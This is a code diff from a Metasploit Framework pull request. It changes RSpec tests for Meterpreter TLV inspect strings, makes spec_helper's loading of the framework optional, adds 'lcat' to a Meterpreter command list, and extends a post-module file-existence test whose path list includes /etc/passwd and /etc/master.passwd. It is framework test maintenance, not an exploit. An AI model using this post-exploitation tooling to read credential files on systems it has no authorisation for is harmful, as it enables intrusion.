# https://github.com/rapid7/metasploit-framework/pull/16258#discussion_r817878469
|
||||
it "should handle multiple types in alphabetical order" do
|
||||
expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=oneOf(EXT_WINDOW_ENUM_PID,PEINJECTOR_SHELLCODE_SIZE,SNIFFER_INTERFACE_ID,WEBCAM_INTERFACE_ID) meta=INT value=0>"
|
||||
end
|
||||
end
|
||||
|
||||
context "TLV with an unknown TLV type" do
|
||||
subject(:tlv) {
|
||||
Rex::Post::Meterpreter::Tlv.new(
|
||||
-1,
|
||||
0
|
||||
)
|
||||
}
|
||||
|
||||
it "should have an unknown type" do
|
||||
expect(tlv.inspect).to eq "#<Rex::Post::Meterpreter::Tlv type=unknown--1 meta=unknown-meta-type value=\"0\">"
|
||||
end
|
||||
end
|
||||
|
||||
context "A String TLV" do
|
||||
it "should return the correct TLV type" do
|
||||
expect(tlv.type).to eq Rex::Post::Meterpreter::TLV_TYPE_STRING
|
||||
@@ -130,7 +170,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
|
||||
end
|
||||
|
||||
it "should show the correct type and meta type in inspect" do
|
||||
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND-ID meta=INT value=1001 command=stdapi_fs_chdir>"
|
||||
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=1001 command=stdapi_fs_chdir>"
|
||||
expect(tlv.inspect).to eq tlv_to_s
|
||||
end
|
||||
end
|
||||
@@ -147,7 +187,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
|
||||
end
|
||||
|
||||
it "should show the correct type and meta type in inspect" do
|
||||
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND-ID meta=INT value=31337 command=unknown>"
|
||||
tlv_to_s = "#<Rex::Post::Meterpreter::Tlv type=COMMAND_ID meta=INT value=31337 command=unknown>"
|
||||
expect(tlv.inspect).to eq tlv_to_s
|
||||
end
|
||||
end
|
||||
|
||||
+52
-43
@@ -1,44 +1,49 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'stringio'
|
||||
require 'factory_bot'
|
||||
require 'rubocop'
|
||||
require 'rubocop/rspec/support'
|
||||
require 'faker'
|
||||
|
||||
ENV['RAILS_ENV'] = 'test'
|
||||
|
||||
# @note must be before loading config/environment because railtie needs to be loaded before
|
||||
# `Metasploit::Framework::Application.initialize!` is called.
|
||||
#
|
||||
# Must be explicit as activerecord is optional dependency
|
||||
require 'active_record/railtie'
|
||||
require 'rubocop'
|
||||
require 'rubocop/rspec/support'
|
||||
require 'metasploit/framework/database'
|
||||
# check if database.yml is present
|
||||
unless Metasploit::Framework::Database.configurations_pathname.try(:to_path)
|
||||
fail 'RSPEC currently needs a configured database'
|
||||
end
|
||||
load_metasploit = ENV.fetch('SPEC_HELPER_LOAD_METASPLOIT', 'true') == 'true'
|
||||
|
||||
require File.expand_path('../../config/environment', __FILE__)
|
||||
if load_metasploit
|
||||
# @note must be before loading config/environment because railtie needs to be loaded before
|
||||
# `Metasploit::Framework::Application.initialize!` is called.
|
||||
#
|
||||
# Must be explicit as activerecord is optional dependency
|
||||
require 'active_record/railtie'
|
||||
require 'metasploit/framework/database'
|
||||
# check if database.yml is present
|
||||
unless Metasploit::Framework::Database.configurations_pathname.try(:to_path)
|
||||
fail 'RSPEC currently needs a configured database'
|
||||
end
|
||||
|
||||
# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use
|
||||
require 'rspec/rails'
|
||||
require File.expand_path('../../config/environment', __FILE__)
|
||||
|
||||
require 'metasploit/framework/spec'
|
||||
# Don't `require 'rspec/rails'` as it includes support for pieces of rails that metasploit-framework doesn't use
|
||||
require 'rspec/rails'
|
||||
|
||||
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
|
||||
require 'metasploit/framework/spec'
|
||||
|
||||
# Load the shared examples from the following engines
|
||||
engines = [
|
||||
Metasploit::Concern,
|
||||
Rails
|
||||
]
|
||||
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
|
||||
|
||||
# Requires supporting ruby files with custom matchers and macros, etc,
|
||||
# in spec/support/ and its subdirectories.
|
||||
engines.each do |engine|
|
||||
support_glob = engine.root.join('spec', 'support', '**', '*.rb')
|
||||
Dir[support_glob].each { |f|
|
||||
require f
|
||||
}
|
||||
# Load the shared examples from the following engines
|
||||
engines = [
|
||||
Metasploit::Concern,
|
||||
Rails
|
||||
]
|
||||
|
||||
# Requires supporting ruby files with custom matchers and macros, etc,
|
||||
# in spec/support/ and its subdirectories.
|
||||
engines.each do |engine|
|
||||
support_glob = engine.root.join('spec', 'support', '**', '*.rb')
|
||||
Dir[support_glob].each { |f|
|
||||
require f
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
RSpec.configure do |config|
|
||||
@@ -76,7 +81,20 @@ RSpec.configure do |config|
|
||||
# --seed 1234
|
||||
config.order = :random
|
||||
|
||||
config.use_transactional_fixtures = true
|
||||
if load_metasploit
|
||||
config.use_transactional_fixtures = true
|
||||
|
||||
# rspec-rails 3 will no longer automatically infer an example group's spec type
|
||||
# from the file location. You can explicitly opt-in to the feature using this
|
||||
# config option.
|
||||
# To explicitly tag specs without using automatic inference, set the `:type`
|
||||
# metadata manually:
|
||||
#
|
||||
# describe ThingsController, :type => :controller do
|
||||
# # Equivalent to being in spec/controllers
|
||||
# end
|
||||
config.infer_spec_type_from_file_location!
|
||||
end
|
||||
|
||||
# Seed global randomization in this process using the `--seed` CLI option.
|
||||
# Setting this allows you to use `--seed` to deterministically reproduce
|
||||
@@ -108,17 +126,6 @@ RSpec.configure do |config|
|
||||
mocks.verify_partial_doubles = true
|
||||
end
|
||||
|
||||
# rspec-rails 3 will no longer automatically infer an example group's spec type
|
||||
# from the file location. You can explicitly opt-in to the feature using this
|
||||
# config option.
|
||||
# To explicitly tag specs without using automatic inference, set the `:type`
|
||||
# metadata manually:
|
||||
#
|
||||
# describe ThingsController, :type => :controller do
|
||||
# # Equivalent to being in spec/controllers
|
||||
# end
|
||||
config.infer_spec_type_from_file_location!
|
||||
|
||||
if ENV['REMOTE_DB']
|
||||
require 'metasploit/framework/data_service/remote/managed_remote_data_service'
|
||||
opts = {}
|
||||
@@ -137,8 +144,10 @@ RSpec.configure do |config|
|
||||
|
||||
end
|
||||
|
||||
Metasploit::Framework::Spec::Constants::Suite.configure!
|
||||
Metasploit::Framework::Spec::Threads::Suite.configure!
|
||||
if load_metasploit
|
||||
Metasploit::Framework::Spec::Constants::Suite.configure!
|
||||
Metasploit::Framework::Spec::Threads::Suite.configure!
|
||||
end
|
||||
|
||||
def get_stdout(&block)
|
||||
out = $stdout
|
||||
|
||||
@@ -23,6 +23,7 @@ module MeterpreterSpecs
|
||||
"use",
|
||||
"write",
|
||||
"cat",
|
||||
"lcat",
|
||||
"cd",
|
||||
"del",
|
||||
"download",
|
||||
|
||||
@@ -128,7 +128,8 @@ class MetasploitModule < Msf::Post
|
||||
'/etc/passwd',
|
||||
'/etc/master.passwd',
|
||||
'%WINDIR%\\system32\\notepad.exe',
|
||||
'%WINDIR%\\system32\\calc.exe'
|
||||
'%WINDIR%\\system32\\calc.exe',
|
||||
File.expand_path(__FILE__)
|
||||
].each do |path|
|
||||
ret = true if file?(path)
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user